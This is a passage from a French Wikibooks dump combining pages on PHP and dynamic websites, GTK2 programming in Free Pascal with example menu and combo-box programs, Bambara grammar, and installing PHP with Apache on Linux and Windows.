vitesse et de sa simplicité. On estime qu'il y a 4,8 millions de serveurs qui utilisent le langage (33 millions de serveurs ont été testés, les serveurs non-HTTP, inaccessibles ou bien encore les parkings à noms de domaines (500 domaines +), ont été écartés des statistiques). La sortie de PHP 5 a permis au langage d'atteindre une certaine maturité. Désormais, il est reconnu comme un serveur d'application à part entière tel que [[Programmation J2EE|J2EE]] ou [[Programmation .net|.Net]]. == Sites Web statiques ou dynamiques== A l'origine du Web, les sites Web étaient des sites '''statiques''' : ils étaient constitués d'un ensemble de pages écrites dans le langage HTML. L'information présente sur ces pages était toujours identique et leur mise à jour était d'ailleurs particulièrement fastidieuse. Le serveur Web se contentait de diffuser les pages telles quelles à l'utilisateur. L'interaction entre le site et l'utilisateur était totalement sommaire : l'utilisateur demandait une page web et le serveur la lui fournissait.<br/> Aujourd'hui la plupart des sites sont '''dynamiques''' : à l'intérieur des pages HTML, le créateur du site a inséré des programmes. Ces programmes permettent une plus grande souplesse dans la gestion du site. La possibilité d'insérer des programmes a permis de décupler les possibilité des sites Webs. Pour vous en convaincre prenons juste quelques exemples : *Vous voulez écrire un site qui présente une centaine de produits vous n'allez pas écrire 100 pages différentes, une pour chacun des produits ! Vous allez écrire une seule page permettant de présenter n'importe quel produit. Cette page va contenir un programme qui interagira avec une base de données. Dans la base de données, on va stocker les informations utiles pour chaque produit : le nom du produit, la présentation du produit, la référence du produit, son prix...etc... Le programme aura donc pour role d'aller chercher l'information utile dans la base de donnée et de l'afficher en HTML. De plus, pour rajouter un produit, il suffira de rajouter un produit dans la base de données. Il est même possible d'avoir des programmes permettant de passer une commande pour vos différents produits ! * Vous voulez diffuser rapidement des informations sur Internet : vous voulez avoir un outil convivial qui vous permet d'ajouter un article, de le modifier, de le supprimer... Vous allez donc écrire un programme permettant de modifier à volonté les différents articles. Un exemple bien connu de ce type de programme est le blog : il s'agit d'un programme permettant à n'importe quel utilisateur non informaticien de gérer ses différents articles. * L'encyclopédie wikipédia est constitué d'un programme (en php d'ailleurs) permettant à chaque utilisateur de créer et de modifier les articles tout en gardant un historique complet des différentes versions des articles. * les forums de discussion sont des programmes permettant une interaction étroite entre le serveur et l'utilisateur. Il est possible de se connecter, de voir les messages des différents forums, de répondre. Les modérateurs peuvent modifier les messages, les supprimer, interdire un utilisateur indélicat. <p> Dans chacun des exemples précédent il a été nécessaire d'incorporer un programme à l'intérieur des pages du site afin de réaliser des fonctionnalités de haut niveau. Aujourd'hui la quasi-totalité des sites professionnels sont dynamiques et il est quasi inconcevable de réaliser un site statique. Le langage php est un des langages utilisables pour réaliser facilement les sites Web dynamiques. ==Possibilités== Si vous êtes déjà allé sur un site qui vous demandait de vous connecter, vous avez utilisé un script côté serveur. Ce script était certainement écrit en PHP, en raison de la popularité de ce dernier. PHP transforme une page statique (fichier [[Programmation HTML|HTML]] par exemple), en une suite d'instructions interprétables par PHP, installée sur un serveur Web comme Apache - ça peut-être simplement un "Hello World" 50 fois dans une colonne, ou une interaction avec un système de base de données, comme [[Programmation MySQL|MySQL]], fréquemment couplé à PHP. (-|-) ==Liens externes== *[http://www.php.net Le site officiel Php (anglais, documentation francaise disponible sur le site)] *[http://www.phpdebutant.org Php Débutant] *[http://www.phpindex.com PhpIndex.com] *[http://www.phpscripts-fr.net PhpScripts.com :: Des exemples de scripts Php] *[http://www.nexen.net Nexen.net] *[http://www.phpfrance.com PhpFrance] *[http://php.developpez.com/ Developpez.com PHP et MYSQL] *[http://www.math-linux.com/article.php3?id_article=25 Installation d’un serveur Lamp : LinuX ApacHe MysqL PhP] *[http://www.math-linux.com/article.php3?id_article=31 Introduction au langage PHP] Programmation GTK2 en Pascal - GtkComboBoxEntry 2839 14402 2005-03-09T21:09:35Z Didier 186 Premier jet {{Programmation GTK2 en Pascal}} {{ébauche}} == Présentation == Le contrôle '''GtkComboBoxEntry''' permet de gérer une liste déroulante sur action de l'utilisateur combinée avec un champ de saisie. Soit l'utilisateur choisi dans une liste, soit il saisit une valeur. Ce contrôle est disponible à partir de la version 2.4 de Gtk+. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkContainer|GtkContainer]] └─[[Programmation GTK2 en Pascal - GtkBin|GtkBin]] └─[[Programmation GTK2 en Pascal - GtkComboBox|GtkComboBox]] └─[[Programmation GTK2 en Pascal - GtkComboBoxEntry|GtkComboBoxEntry]] |} == Utilisation de base (mode texte sans modèle) == === Création === La fonction de création d'une liste déroulante texte est simple : function gtk_combo_box_entry_new_text : PGtkWidget; === Ajout de texte dans la liste déroulante === On va utiliser les mêmes fonctions que pour la liste déroulante sans saisie ([[Programmation GTK2 en Pascal - GtkComboBox|GtkComboBox]]) : <code>gtk_combo_box_append_text</code>, <code>gtk_combo_box_insert_text</code> et <code>gtk_combo_box_prepend_text</code>. === Récupération de la sélection de l'utilisateur === On va en fait utiliser la fonction du champ de saisie ([[Programmation GTK2 en Pascal - GtkEntry|GtkEntry]]) : <code>gtk_entry_get_text</code>. === Programme exemple === Comme exemple, nous allons créer une fenêtre comportant un GtkComboBoxEntry, un GtkButton et un GtkLabel. Le but sera d'afficher le texte sélectionné du GtkComboboxEntry dans le GtkLabel, que celui-ci soit saisi ou choisi dans la liste. Cette opération s'effectuera lorsque l'utilisateur cliquera sur le bouton (interception du signal « clicked »). Voilà le fichier <code>gtk031.pas</code> (à 95 % identique à celui du <code>gtk029.pas</code>) : program gtk031; uses glib2, gtk2; type TFenetrePrincipale = record pFenetre : PGtkWidget; pVBox : PGtkWidget; pListeDer : PGtkWidget; pBouton : PGtkWidget; pLabel : PGtkWidget; end; PFenetrePrincipale = ^TFenetrePrincipale; procedure OnBtnClick(APWidget : PGtkwidget; AData : pgpointer); cdecl; var pFenPrinc : PFenetrePrincipale; Texte : PGChar; begin // Récuperation des données de la fenêtre principale (qui sont dans AData) pFenPrinc := PFenetrePrincipale(AData); // Récuperation du texte contenu dans le GtkComboBox Texte := gtk_entry_get_text(GTK_ENTRY(GTK_BIN(pFenPrinc^.pListeDer)^.child)); // Modification du texte contenu dans le GtkLabel gtk_label_set_text(GTK_LABEL(pFenPrinc^.pLabel), Texte); end; var pFenPrinc : PFenetrePrincipale; begin pFenPrinc := g_malloc(SizeOf(TFenetrePrincipale)); gtk_init(@argc, @argv); pFenPrinc^.pFenetre := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pFenPrinc^.pFenetre), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pFenPrinc^.pFenetre), 320, 200); gtk_container_set_border_width(GTK_CONTAINER(pFenPrinc^.pFenetre), 4); gtk_window_set_title(GTK_WINDOW(pFenPrinc^.pFenetre), 'Gtk031 : ComboboxEntry'); gtk_signal_connect(pGTKOBJECT(pFenPrinc^.pFenetre), 'destroy', GTK_SIGNAL_FUNC(@gtk_main_quit), NULL); pFenPrinc^.pVBox := gtk_vbox_new(TRUE, 0); gtk_container_add(GTK_CONTAINER(pFenPrinc^.pFenetre), pFenPrinc^.pVBox); // Création du GtkComboBox pFenPrinc^.pListeDer := gtk_combo_box_entry_new_text; // Chargement de la liste déroulante gtk_combo_box_append_text(GTK_COMBO_BOX(pFenPrinc^.pListeDer), 'Bleu'); gtk_combo_box_append_text(GTK_COMBO_BOX(pFenPrinc^.pListeDer), 'Rouge'); gtk_combo_box_append_text(GTK_COMBO_BOX(pFenPrinc^.pListeDer), 'Jaune'); gtk_box_pack_start(GTK_BOX(pFenPrinc^.pVBox), pFenPrinc^.pListeDer, TRUE, FALSE, 0); pFenPrinc^.pBouton := gtk_button_new_with_label('Copier'); gtk_box_pack_start(GTK_BOX(pFenPrinc^.pVBox), pFenPrinc^.pBouton, TRUE, FALSE, 0); g_signal_connect(pGTKOBJECT(pFenPrinc^.pBouton), 'clicked', GTK_SIGNAL_FUNC(@OnBtnClick), gpointer(pFenPrinc)); pFenPrinc^.pLabel := gtk_label_new(NULL); gtk_box_pack_start(GTK_BOX(pFenPrinc^.pVBox), pFenPrinc^.pLabel, TRUE, FALSE, 0); gtk_widget_show_all(pFenPrinc^.pFenetre); gtk_main; g_free(pFenPrinc); end. Voilà ce que donne l'exécution du programme <code>gtk031</code> après saisie d'un nom et du clic sur le bouton « Copier » : [[Image:Programmation GTK2 en Pascal - gtk031.png]] == Utilisation complète (avec modèle) == ''<à développer>'' {{Programmation GTK2 en Pascal - Liste déroulante}} Image:Programmation GTK2 en Pascal - gtk031.png 2840 14403 2005-03-09T21:10:55Z Didier 186 Exemple du programme gtk031.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk031.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Programmation GTK2 en Pascal - Les menus 2841 14404 2005-03-09T21:13:55Z Didier 186 + modèle sommaire {{Programmation GTK2 en Pascal}} Les '''menus''' sont des contrôles complexes et sont donc découpés en plusieurs classes de contrôles. La barre de menu tout d'abord : * [[Programmation GTK2 en Pascal - GtkMenuBar|GtkMenuBar]] Le menu en lui-même : * [[Programmation GTK2 en Pascal - GtkMenu|GtkMenu]] La classe de base des menus : * [[Programmation GTK2 en Pascal - GtkMenuShell|GtkMenuShell]] Les éléments d'un menu : * [[Programmation GTK2 en Pascal - GtkMenuItem|GtkMenuItem]] * [[Programmation GTK2 en Pascal - GtkImageMenuItem|GtkImageMenuItem]] * [[Programmation GTK2 en Pascal - GtkRadioMenuItem|GtkRadioMenuItem]] * [[Programmation GTK2 en Pascal - GtkCheckMenuItem|GtkCheckMenuItem]] * [[Programmation GTK2 en Pascal - GtkSeparatorMenuItem|GtkSeparatorMenuItem]] * [[Programmation GTK2 en Pascal - GtkTearoffMenuItem|GtkTearoffMenuItem]] === Étapes pour créer un menu === # Création d'une barre de menu # Création d'un item de menu (exemple : Fichier) # Attachement de cet item dans la barre de menu # Création d'un menu # Attachement de ce menu à l'item de la barre de menu (créé en 2.) # Création d'un item de menu (exemple : Nouveau, Ouvrir, Sauvegarder, etc.) # Attachement de cet item au menu (créé en 4.) # Création des autres items (on boucle sur 6. et 7.) # Si on veut une autre entrée de menu dans la barre de menu (exemple Édition, Aide, etc.), on recommence à 2. Postpositions (bambara) 2845 16029 2005-07-03T14:52:46Z Guaka 165 /* ye */ {{bambara}} ==Postpositions formelles== ;ye : pour, à, pendant ;ma : sur, à ;fè : avec ;la, na, ra : à, ''localisation'' ;bara : chez ;kàn : sur ;bála : sur ==Postpositions lexicales== ;kɔnɔ : dans ;kɔ : derrière ;nyé : devant ;de : de (''possession'') ;kun : sur (''une personne'') ;kɔrɔ : sous, à coté ;ce : entre ==Examples== ===ye=== wula ye, n'be taa so Voir aussi: * [[wikt:Catégorie:Postpositions bambaras|Les postpositions bambaras dans le Wiktionnaire]] {{ébauche}} Particules (bambara) 2846 14407 2005-03-10T16:59:56Z Guaka 165 {{bambara}} ;dùn :mais, or ;fána ;féne :aussi :Placé après le sujet nominal. ''Fana'' n'est pas substitut d'un phrase, comme en francais. ;doron :seul, seulement {{ébauche}} Conjonctions (bambara) 2847 14408 2005-03-20T18:52:25Z Guaka 165 {{bambara}} ==Conjonctions des unités lexicales== ;ni ;ani :et Pour les énumerations. Pour deux élements on utilise presque toujours ''ni''. Pour plusieurs on utilise ''ni'' pour relier tous les élements sauf le dernier. Par example: ; Bamako ni Segu : Bamako et Segou ; Mali ni Burkina Faso ani Guinea : Mali, Burkina Faso et Guinea ; .. ò .. ò .. sí : ni .. ni .. ni .. ==Conjonctions des phrases== ;ká :et ;báwo :parce que ;sábu :parce que ;nkà :mais ;bàri :mais :Vient du malinké, courant dans le sud-ouest du Mali. ;jàga :alors que A Bamako l'utilisation des conjonctions du francais est très courent. {{ébauche}} Modèle:Bambara 2848 14409 2005-04-27T23:42:50Z Guaka 165 +animaux :'''''Bambara''''' - [[Enseignement du bambara|index]] - leçons [[Bambara : Leçon 1|1]], [[Bambara : Leçon 2|2]], [[Bambara : Leçon 3|3]] :::<small>[[alphabet (bambara)|alphabet]] - [[genre (bambara)|genre]] [[pluriels (bambara)|pluriels]] [[verbes (bambara)|verbes]] [[pronoms (bambara)|pronoms]] [[adverbes (bambara)|adverbes]] [[postpositions (bambara)|postpositions]] [[particules (bambara)|particules]] [[conjonctions (bambara)|conjonctions]]</small> :::<small>[[vocabulaire (bambara)|vocabulaire]]: [[nombres (bambara)|nombres]] [[relations familiales (bambara)|relations familiales]] [[animaux (bambara)|animaux]] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <small>[http://fr.wikibooks.org/w/index.php?title=Mod%C3%A8le:Bambara&action=edit modifier]</small></small> ---- [[Catégorie:Bambara]] Adverbes (bambara) 2849 45519 2006-06-24T05:06:53Z 194.158.104.34 /* Adverbes de manière */ {{bambara}} En Bambara les adverbes sont placés soit derrière le verbe, soit en fin de phrase. ==Adverbes en en ko-== ;kokura :encore ;kosebe : très ;kojugu : trop ;konyuman : bien, à nouveau ==Adverbes de manière== ;dogodogonin :refuge, cachette donidoni: doucement ;manamana : sans raison, pour rien, sans égard ;sebekoro : intensif ;balakabalaka : précipitamment ;nemenemenin : doucement ;damateme : exagérement ;kolokolo : peu<br> Souvent utilisé dans le sens négatif, comme "pas mal" en francais. ;batara : facile, léger ==Adverbes expressifs== ;kok : dureté, solidité ;tep ;kolikoli :notion de rempli ;kak : notion d'un trait ;koki : avec aplomb ==Voir== * [http://fr.wiktionary.org/wiki/Cat%C3%A9gorie:Adverbes_bambaras Les adverbes bambaras dans le Wiktionnaire] {{ébauche}} Programmation PHP/Installer PHP 2852 46012 2006-06-27T09:29:44Z Alveric 1610 Renumérotation du paragraphe "Debian" {{Programmation PHP}} ==Unix== ===Sous une distribution Gentoo=== Premièrement il faut installer Apache si ce n'est pas déjà fait. emerge apache Ensuite, il faut installer PHP emerge dev-lang/php Puis il faut qu'apache utilise PHP dans se configuration. {{Box Code|titre = Configuration de apache |code = # nano -w /etc/conf.d/apache2 APACHE2_OPTS="-D PHP5" }} === Installation avec la distribution debian === PHP peut-être installé avec toutes les déclinaisons de la distribution Debian (stable, testing, unstable). Il suffit pour cela d'insérer vos lignes préférées dans le fichier ''/etc/apt/sources.list''<br/> <br/> ''<nowiki>deb http://ftp.fr.debian.org/debian/ stable main non-free contrib</nowiki>''<br/> ''<nowiki>deb-src http://ftp.fr.debian.org/debian/ stable main non-free contrib</nowiki>''<br/> </nowiki><br/> Ce qui suit suppose que vous ayez déjà installé votre serveur WEB (cf manuels pour l'installation d’APACHE sous Debian) Par la suite, exécutez en tant que "root" les commandes suivantes :<br/> <br/> ''apt-get update && apt-get install php4''<br/> <br/> Une fois ces commandes exécutées, vous devez redémarrer votre serveur WEB. Dans le cas d'APACHE cela s'effectue avec la commande suivante :<br/> <br/> ''/etc/init.d/apache restart''<br/> <br/> Si tout s'est bien passé, vous disposez maintenant d'un serveur WEB qui a la capacité d'exécuter des scripts PHP version 4. <nowiki>[[À compléter]]</nowiki> ====Compilation==== <nowiki>[[A faire]]</nowiki> ==Windows== ===Tout en un=== Des logiciels tout-en-un permettent de s'affranchir d'une installation fastidieuse et rhédibitoire pour le grand débutant. #[[Easyphp]] [http://www.easyphp.org] est un logiciel tout-en-un réunissant un serveur Web, une base de donnée et PHP. Easyphp n'a pas vocation à être installé pour de la production, mais pour le développement. #[http://www.uniformserver.com the Uniform Server] est un logiciel tout-en-un pour Windows réunissant un serveur Web, une base de donnée et PHP. En anglais seulement avec Apache2, Perl5, PHP5, MySQL5, phpMyAdmin. #[[WAMP]] [http://www.wampserver.com] est du même type qu'EasyPHP: Ce logiciel installe facilement un serveur web Apache, une base de données MySQL et PHP 4 et 5. Il a l'avantage de permettre de passer facilement de PHP 4 à PHP 5, sans avoir à refaire une installation ou une compilation. Tout comme EasyPHP, c'est un environnement de développement, et non un environnement de production. ===Installation manuelle=== Nous aurons besoin des dernières versions stables de PHP et Apache, ainsi que de MySQL si vous envisagez d'utiliser cette base de données (et vous l'envisagez, non ?). *Apache est disponible sur le site Web de the [[Apache Software Foundation]] [http://www.apache.org]. *PHP est téléchargeable sur [[le site officiel de PHP]] [http://www.php.net]. Choisissez le fichier au format ZIP. *Enfin, vous trouverez MySQL sur [[www.mysql.com]] [http://www.mysql.com]. ====Installer PHP==== Une fois l'archive téléchargée, décompressez-la à la racine de votre disque dur et renommez le dossier en <tt>'PHP'</tt>. Dans le dossier <tt>PHP</tt>, vous trouverez deux fichiers: <tt>php.ini-dist</tt> et <tt>php.ini-recommended</tt>. Copiez <tt>php.ini-recommended</tt> dans votre dossier <tt>C:\Windows</tt> ou <tt>C:\winnt</tt> (le nom du dossier dépend de la version de votre système.<br />renommez-le en <tt>php.ini</tt>. Ce fichier est le fichier de configuration qui contrôle les options dont vous disposerez. ====Installer Apache==== Pour installer Apache, double-cliquez sur le fichier exécutable, et suivez les instructions d'installation automatique.<br/> Si vous installez Apache sur un ordinateur de développement, renseignez le champ "nom de domaine" avec la valeur <tt>localhost</tt>.<br /> Si vous installez un serveur de production et que vous disposez d'un nom de domaine... Vous êtes certainement un pro et vous savez quoi faire (et je me demande ce que vous faites là); a priori, vous devriez disposer des informations nécessaires concernant votre nom de domaine, fournies par le ''registrar''. Une fois l'installation terminée, il faut encore indiquer à Apache qu'il doit fonctionner conjointement avec PHP, car il ne sait pas les traiter par défaut. Pour cela, il faut modifier les informations de configuration d'Apache, contenues dans le fichier <tt>httpd.conf</tt>, qui se trouve dans le dossier d'installation d'Apache, dans le sous-dossier <tt>conf</tt>. p ====CGI ou module ?==== On peut configurer Apache pour utiliser PHP comme binaire CGI, ou comme module.<br /> L'installation en module offre de meilleures garanties en matière de sécurité, de meilleures performances, et certaines fonctionnalités absentes de l'installation en CGI. Cette installation est cependant un peu plus difficile (mais rassurez-vous, pas tellement plus que l'installation CGI), aussi nous intéresserons nous à celle-ci. Dans le répertoire de PHP, trouvez la DLL <tt>php5ts.dll</tt>, et copiez-la dans le répertoire d'Apache. Ouvrez ensuite le fichier <tt>httpd.conf</tt>. On en a déjà parlé plus tôt, vous vous souvenez où il est, n'est-ce pas ? Dans ce fichier, ajouter cette ligne: <tt>AddType application/x-httpd-php .php</tt>, qui permet à Apache de savoir que l'extension <tt>.php</tt> concerne l'utilisation du module PHP. Puis, ajoutez ces deux lignes: *<tt>LoadModule php5_module c:\php\php5apache.dll</tt>, qui charge le module PHP5 au démarrage du serveur; *<tt>AddModule mod_php5.c</tt>, qui exécute le module. Enregistrez le fichier httpd.conf et fermez-le. C'est fini. Nous allons maintenant... ====Installer MySQL==== procuré vous le CD-ROM de MySQL Image:Programmation GTK2 en Pascal - gtk032.png 2855 14413 2005-03-11T17:21:00Z Didier 186 Exemple du programme gtk032.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk032.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Programmation GTK2 en Pascal - GtkMenuBar 2856 14414 2005-03-11T17:21:19Z Didier 186 Premier jet {{Programmation GTK2 en Pascal}} == Présentation == Le contrôle '''GtkMenuBar''' permet de gérer une barre de menu dans une fenêtre. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkContainer|GtkContainer]] └─[[Programmation GTK2 en Pascal - GtkMenuShell|GtkMenuShell]] └─[[Programmation GTK2 en Pascal - GtkMenuBar|GtkMenuBar]] |} == Utilisation de base == === Création === La fonction de création d'une barre de menu est simple : function gtk_menu_bar_new : PGtkWidget; === Ajout d'élément === Pour ajouter des éléments dans une <code>GtkMenuBar</code>, il faut utiliser les fonctions du contrôle <code>[[GtkMenuShell]]</code> : procedure gtk_menu_shell_append(menu_shell : PGtkMenuShell; child : PGtkWidget); procedure gtk_menu_shell_prepend(menu_shell : PGtkMenuShell; child : PGtkWidget); La première fonction ajoute les éléments de gauche à droite alors que la seconde les ajoute de droite à gauche. Le paramètre <code>menu_shell</code> est le <code>GtkMenuBar</code> dans laquelle nous voulons ajouter l'élément et le paramètre <code>child</code> est l'élément à ajouter. Pour le premier paramètre, il faudra utiliser la fonction de conversion GTK_MENU_SHELL. == Programme exemple == Nous allons créer dans une fenêtre une barre de menu dans laquelle nous allons ajouter un item de menu qui permettra de quitter l'application. Voilà le fichier <code>gtk032.pas</code> : program gtk032; uses glib2, gtk2; procedure OnQuitter(AWidget : PGtkwidget; AData : PGPointer); cdecl; var pQuestion : PGtkWidget; begin // Création de la boîte de message pQuestion := gtk_message_dialog_new(GTK_WINDOW(AData), GTK_DIALOG_MODAL, GTK_MESSAGE_QUESTION, GTK_BUTTONS_YES_NO, 'Voulez-vous vraiment'#13#10'quitter le programme ?'); // Affichage de la boîte de message case gtk_dialog_run(GTK_DIALOG(pQuestion)) of GTK_RESPONSE_YES : gtk_main_quit; GTK_RESPONSE_NONE, GTK_RESPONSE_NO : gtk_widget_destroy(pQuestion); end; end; var pFenetre : PGtkWidget; pVBox : PGtkWidget; pBarreMenu : PGtkWidget; pItemMenu : PGtkWidget; begin gtk_init(@argc, @argv); pFenetre := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pFenetre), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pFenetre), 320, 200); gtk_window_set_title(GTK_WINDOW(pFenetre), 'Gtk032 : Barre de menu'); gtk_signal_connect(pGTKOBJECT(pFenetre), 'destroy', GTK_SIGNAL_FUNC(@gtk_main_quit), NULL); // Création de la GtkVBox pVBox := gtk_vbox_new(FALSE, 0); gtk_container_add(GTK_CONTAINER(pFenetre), pVBox); // Création de la barre de menu pBarreMenu := gtk_menu_bar_new; gtk_box_pack_start(GTK_BOX(pVBox), pBarreMenu, FALSE, FALSE, 0); // Création du GtkMenuItem Quitter pItemMenu := gtk_menu_item_new_with_label('Quitter'); g_signal_connect(pGTKOBJECT(pItemMenu), 'activate', G_CALLBACK(@OnQuitter), pGTKOBJECT(pFenetre)); gtk_menu_shell_append(GTK_MENU_SHELL(pBarreMenu), pItemMenu); gtk_widget_show_all(pFenetre); gtk_main; end. Voilà ce que donne l'exécution du programme <code>gtk032</code> : [[Image:Programmation GTK2 en Pascal - gtk032.png]] {{Programmation GTK2 en Pascal - Menu}} Modèle:Programmation GTK2 en Pascal - Menu 2857 14415 2005-03-15T17:53:36Z Didier 186 Inversion radio <-> check {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" align="center" | style="text-align:center;background:#EAF5FB;" | Menu : [[Programmation GTK2 en Pascal - GtkMenuBar|GtkMenuBar]] ~ [[Programmation GTK2 en Pascal - GtkMenu|GtkMenu]] ~ [[Programmation GTK2 en Pascal - GtkMenuShell|GtkMenuShell]] &mdash; [[Programmation GTK2 en Pascal - GtkMenuItem|GtkMenuItem]] ~ [[Programmation GTK2 en Pascal - GtkImageMenuItem|GtkImageMenuItem]] ~ [[Programmation GTK2 en Pascal - GtkCheckMenuItem|GtkCheckMenuItem]] ~ [[Programmation GTK2 en Pascal - GtkRadioMenuItem|GtkRadioMenuItem]] ~ [[Programmation GTK2 en Pascal - GtkSeparatorMenuItem|GtkSeparatorMenuItem]] ~ [[Programmation GTK2 en Pascal - GtkTearoffMenuItem|GtkTearoffMenuItem]] |} Programmation GTK2 en Pascal - Installation sous Mac/OS 2858 14416 2005-03-11T17:23:11Z Didier 186 Ébauche {{Programmation GTK2 en Pascal}} {{ébauche}} ''NB: Ne connaissant pas du tout le monde Mac, ce chapitre est simplement ébauché pour l'instant.'' == Free Pascal et en-têtes Gtk+ == En février 2005, Free Pascal est disponible en version 1.9.8 (2.0 RC 2). La page du site plus particulièrement dédiée au Mac est http://www.freepascal.org/fpcmac.html. == Bibliothèques GTK+ == Voir le projet GTK+OSX (http://gtk-osx.sourceforge.net/) de portage de Gtk+ sur Mac/OS X. Image:Programmation GTK2 en Pascal - gtk033.png 2859 14417 2005-03-11T18:00:30Z Didier 186 Exemple du programme gtk033.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk033.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Programmation GTK2 en Pascal - GtkMenu 2860 14418 2005-03-11T18:01:15Z Didier 186 Premier jet {{Programmation GTK2 en Pascal}} == Présentation == Le contrôle '''GtkMenu''' est celui qui s'ouvre quand on clique sur un item de menu dans la barre de menu. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkContainer|GtkContainer]] └─[[Programmation GTK2 en Pascal - GtkMenuShell|GtkMenuShell]] └─[[Programmation GTK2 en Pascal - GtkMenu|GtkMenu]] |} == Utilisation de base == === Création === La fonction de création d'une barre de menu est simple : function gtk_menu_new : PGtkWidget; === Ajout d'élément === Pour ajouter des éléments dans un <code>GtkMenu</code>, il faut comme dans une <code>[[Programmation GTK2 en Pascal - GtkMenuBar|GtkMenuBar]]</code> utiliser les fonctions du contrôle <code>[[GtkMenuShell]]</code> : procedure gtk_menu_shell_append(menu_shell : PGtkMenuShell; child : PGtkWidget); procedure gtk_menu_shell_prepend(menu_shell : PGtkMenuShell; child : PGtkWidget); La première fonction ajoute les éléments de gauche à droite alors que la seconde les ajoute de droite à gauche. Le paramètre <code>menu_shell</code> est le <code>GtkMenu</code> dans laquelle nous voulons ajouter l'élément et le paramètre <code>child</code> est l'élément à ajouter. Pour le premier paramètre, il faudra utiliser la fonction de conversion GTK_MENU_SHELL. === Ajout du menu === Pour ajouter un menu à une barre de menu, ou pour créer un sous-menu, il faut associer le menu avec un élément (de la barre de menu ou du menu parent) avec une fonction du contrôle <code>[[GtkMenuItem]]</code> : procedure gtk_menu_item_set_submenu(menu_item : PGtkMenuItem; submenu : PGtkWidget); Cette fonction est étudié plus en détail dans le chapitre sur le contrôle <code>[[GtkMenuItem]]</code>. == Programme exemple == Nous allons créer un menu « Fichier » qui contiendra un élément « Ouvrir » et un élément « Quitter ». L'élément « Quitter » ouvrira un autre menu qui proposera les options « OUI » et « NON ». Ce qui n'est pas très réaliste mais permet de voir un menu et un sous-menu. Voilà le fichier <code>gtk033.pas</code> : program gtk033; uses glib2, gtk2; var pFenetre : PGtkWidget; pVBox : PGtkWidget; pBarreMenu : PGtkWidget; pMenuItemFichier : PGtkWidget; pMenuFichier : PGtkWidget; pMenuItemOuvrir : PGtkWidget; pMenuItemQuitter : PGtkWidget; pMenuQuitter : PGtkWidget; pMenuItemOui : PGtkWidget; pMenuItemNon : PGtkWidget; begin gtk_init(@argc, @argv); pFenetre := gtk_window_new(GTK_WINDOW_TOPLEVEL); gtk_window_set_position(GTK_WINDOW(pFenetre), GTK_WIN_POS_CENTER); gtk_window_set_default_size(GTK_WINDOW(pFenetre), 320, 200); gtk_window_set_title(GTK_WINDOW(pFenetre), 'Gtk033 : Menu et sous-menu'); gtk_signal_connect(pGTKOBJECT(pFenetre), 'destroy', GTK_SIGNAL_FUNC(@gtk_main_quit), NULL); // Création de la GtkVBox pVBox := gtk_vbox_new(FALSE, 0); gtk_container_add(GTK_CONTAINER(pFenetre), pVBox); // Création de la barre de menu pBarreMenu := gtk_menu_bar_new; gtk_box_pack_start(GTK_BOX(pVBox), pBarreMenu, FALSE, FALSE, 0); // Création de l'item Fichier et rattachement à la barre de menu pMenuItemFichier := gtk_menu_item_new_with_label('Fichier'); gtk_menu_shell_append(GTK_MENU_SHELL(pBarreMenu), pMenuItemFichier); // Création du menu Fichier et rattachement à l'item Fichier pMenuFichier := gtk_menu_new; gtk_menu_item_set_submenu(GTK_MENU_ITEM(pMenuItemFichier), pMenuFichier); // Création de l'item Ouvrir et rattachement au menu Fichier pMenuItemOuvrir := gtk_menu_item_new_with_label('Ouvrir'); gtk_menu_shell_append(GTK_MENU_SHELL(pMenuFichier), pMenuItemOuvrir); // Création de l'item Quitter et rattachement au menu Fichier pMenuItemQuitter := gtk_menu_item_new_with_label('Quitter'); gtk_menu_shell_append(GTK_MENU_SHELL(pMenuFichier), pMenuItemQuitter); // Création du (sous-)menu Quitter et rattachement à l'item Quitter pMenuQuitter := gtk_menu_new; gtk_menu_item_set_submenu(GTK_MENU_ITEM(pMenuItemQuitter), pMenuQuitter); // Création de l'item Oui et rattachement au menu Quitter pMenuItemOui := gtk_menu_item_new_with_label('Oui'); gtk_menu_shell_append(GTK_MENU_SHELL(pMenuQuitter), pMenuItemOui); // Création de l'item Non et rattachement au menu Quitter pMenuItemNon := gtk_menu_item_new_with_label('Non'); gtk_menu_shell_append(GTK_MENU_SHELL(pMenuQuitter), pMenuItemNon); // Oui -> quitte l'application g_signal_connect(pGTKOBJECT(pMenuItemOui), 'activate', G_CALLBACK(@gtk_main_quit), NULL); gtk_widget_show_all(pFenetre); gtk_main; end. Voilà ce que donne l'exécution du programme <code>gtk033</code> après avoir cliquer sur le menu « Fichier » puis « Quitter 